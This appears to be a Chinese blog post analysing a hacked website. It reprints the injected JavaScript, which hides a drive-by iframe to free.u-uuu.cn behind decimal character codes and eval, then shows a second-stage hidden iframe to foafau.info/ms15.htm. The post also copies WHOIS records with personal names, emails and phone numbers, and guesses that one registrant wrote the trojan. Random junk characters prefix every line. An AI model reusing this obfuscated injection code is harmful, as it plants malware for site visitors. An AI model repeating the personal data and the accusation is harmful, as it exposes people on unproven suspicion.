首发在我的博客里面，
]Tkc-ez nA
P.^_K http://www.areway.cn/?p=175 BYs-V: FL(6?8zK pX&pLaF 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Nc+,&R13m Y2d;E.DH8 <script>t=’60,105,102,114,97,109,101,
Q -MQ9' 32,115,114,99,61,104,116,116,112,58,47,47,
'd+N Vj{C 102,114,101,101,46,117,45,117,117,117,46,99,
S/Fkw4% 110,47,101,114,114,111,114,46,104,116,109,
Fx5d:!]:$? 32,119,105,100,116,104,61,49,48,48,32,104,
][W_[0v 101,105,103,104,116,61,48,62,60,47,105,102,
G
16!eDMt 114,97,109,101,62′;
MF~H"D
n t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
w" SoeU `}BF${vF <script>t=’60,105,102,114,97,109,101,32,115,
e*bH0'; q 114,99,61,104,116,116,112,58,47,47,102,114,
z;A>9vQ_J 101,101,46,117,45,117,117,117,46,99,110,47,
{?J/c{=/P 101,114,114,111,114,46,104,116,109,32,119,
]wKz E4Z/ 105,100,116,104,61,49,48,48,32,104,101,105,
~_Lr=C D;4 103,104,116,61,48,62,60,47,105,102,114,97,
8zA=;~GHP 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
N@Y ljz| document.write(t);</script>
K'X2dG* z)z{3rR|PW <html xmlns=”
DXa=|T http://www.w3.org/1999/xhtml ?t+5s] “>
EL8NZ%:v: <head>
mp9{m`Jb* <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
]8T |f <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
'@jXbN <title>首页 - 爱生活家庭网
td4[[ / *+uHQgn( 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
cs1l~b l 转换字符串后的大概内容是（谁点击后果自付）：
br0++}vwL <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
rg{ 9UVj ZTU&, 1Y ; 查询玉米u-uuu.cn的详细信息：
uu }x@T@ Domain Name: u-uuu.cn
Pb8^ b ROID: 20070901s10001s64972306-cn
{_Lg tu Domain Status: ok
6_d.Yfbq Registrant Organization: 王雷
:$_6SQ<? Registrant Name: 王雷
I! > \#K Administrative Email:
czlovexs@126.com m=:4`_0Q Sponsoring Registrar: 北京万网志成科技有限公司
:^Fh!br== Name Server:ns.yovole.com
81hbk(( Name Server:ns1.yovole.com
!'j?.F $} Registration Date: 2007-09-01 17:54
-jn W Z5. Expiration Date: 2008-09-01 17:54
Q>R>R*1.j 最后PING了一下地址 都没有什么….
4'6`Ll|iq 5Q 'i2*j 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
+&Hr4@pgW <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
\EKU*5\Hp> <script language=”javascript” src=”
hSK;V<$[Z http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script @FC"nM
>
m! W3Cwz\& 这个玉米应该有可能是木马作者的：
YKbaf(K )9 foafau.info的详细信息：
<)\y#N Access to INFO WHOIS information is provided to assist persons in
k51Eyy50( determining the contents of a domain name registration record in the
?[& 2o| Afilias registry database. The data in this record is provided by
2-"0 ^n{ Afilias Limited for informational purposes only, and Afilias does not
?x+Z)`w_ guarantee its accuracy. This service is intended only for query-based
QT9n,lX access. You agree that you will use this data only for lawful purposes
etoo
#h"]1 and that, under no circumstances will you use this data to: (a) allow,
quvanx V-L enable, or otherwise support the transmission by e-mail, telephone, or
Z0`T\ay facsimile of mass unsolicited, commercial advertising or solicitations
pSm $FBW h to entities other than the data recipient’s own existing customers; or
{t Thy# (b) enable high volume, automated, electronic processes that send
I+!:K| ^ queries or data to the systems of Registry Operator, a Registrar, or
iA0q_( \X Afilias except as reasonably necessary to register domain names or
Fbu5PWhlc modify existing registrations. All rights reserved. Afilias reserves
OiAJ[L the right to modify these terms at any time. By submitting this query,
y!5$/`AF you agree to abide by this policy.
}lK3-2Pk Domain ID:D22418703-LRMS
Ja SI^go Domain Name:FOAFAU.INFO
.`7cBsXH Created On:20-Nov-2007 16:05:42 UTC
,jC3 Fcly Last Updated On:20-Nov-2007 16:05:44 UTC
rJa$ 9B*^ Expiration Date:20-Nov-2008 16:05:42 UTC
A>[|g`;t Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
]r3Kg12Mi Status:CLIENT DELETE PROHIBITED
.i^7|o : Status:CLIENT RENEW PROHIBITED
Yk42(!
Status:CLIENT TRANSFER PROHIBITED
| A %<Z( Status:CLIENT UPDATE PROHIBITED
~>0qZ{3J_ Status:TRANSFER PROHIBITED
v sL[*OeI Registrant ID:GODA-040110615
yQ3OL# Registrant Name:liu hong
>|6iR%"f# Registrant Organization:
5@hNnh16 Registrant Street1:beijing
l<Q>N|1#k% Registrant Street2:
XyMG.r-, Registrant Street3:
.>wv\i [p Registrant City:beijing
Fb/XC:AD Registrant State/Province:
N$x tHtz8" Registrant Postal Code:100000
+n })Y Registrant Country:CN
8 ?*RIA.a Registrant Phone:+86.860108888777
P/JK $n b Registrant Phone Ext.:
pq:7F Registrant FAX:
D0mI09=GtQ Registrant FAX Ext.:
;Nr ]X Registrant Email:bbbshiji@163.com
>a1{397Y} Admin ID:GODA-240110615
_U{([M>; Admin Name:liu hong
/%A;mlf{ Admin Organization:
@HBEt^! Admin Street1:beijing
DMF
-Y-h Admin Street2:
pG^}Xf2a Admin Street3:
9'x)M?{8 Admin City:beijing
[T F8'jI0 Admin State/Province:
H*e' Cs/ Admin Postal Code:100000
^!: "Q3 Admin Country:CN
z>vtEV)) Admin Phone:+86.860108888777
0x)dnq\ Admin Phone Ext.:
8IY19>4'5J Admin FAX:
es.CLkuD7Y Admin FAX Ext.:
Lue|Plm[y Admin Email:bbbshiji@163.com
?;7b*Z Billing ID:GODA-340110615
KI&:9j+M) Billing Name:liu hong
"-i#BjZl/ Billing Organization:
X, fu ! Billing Street1:beijing
y62%26 [ Billing Street2:
hCc0s Rp Billing Street3:
E[Bo4?s&^ Billing City:beijing
setL dE i Billing State/Province:
W"(u^} Billing Postal Code:100000
8:g!w:$x Billing Country:CN
"G?9b Billing Phone:+86.860108888777
mIc:2.q^ Billing Phone Ext.:
VQ
|^
Billing FAX:
we]>(| Billing FAX Ext.:
yqcM(,0] Billing Email:bbbshiji@163.com
9Vh_[^bR Tech ID:GODA-140110615
i2F(GH?p[ Tech Name:liu hong
LM,fwAX Tech Organization:
^Vo"fI`=C Tech Street1:beijing
f$D@*33ft Tech Street2:
8 $ ~3r a Tech Street3:
n9}R W;N+u Tech City:beijing
RV !<?[ Tech State/Province:
xdF guV8 Tech Postal Code:100000
< '*4j\* Tech Country:CN
z}APR@?`n8 Tech Phone:+86.860108888777
fi=?n{e' Tech Phone Ext.:
1X@b?6 Tech FAX:
X4I]9 t\ Tech FAX Ext.:
!C`20,U Tech Email:bbbshiji@163.com
k^*$^;z Name Server:NS27.DOMAINCONTROL.COM
J:};n@< Name Server:NS28.DOMAINCONTROL.COM
zh?4K*>.k Name Server:
=~,l4g\ Name Server:
T&/_e
Name Server:
Bcaw~W D Name Server:
"?H+
u/8$ Name Server:
84Zgo=P} Name Server:
&7][@v Name Server:
o FyeH )! Name Server:
*gSO&O= Name Server:
CK C0{J8g
Name Server:
UPO^V:.R4 Name Server:
e wQe/Fq pzSqbgfrQ 接着下载每个文件里面的代码：
{G.jB/ 一步一步看..
5mIXyg 0: 
)[
b#g(Y( 
|8'B/
p= 
qb$_xIQpDL 
%yhI;M^ 
^2 JPyyZa 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
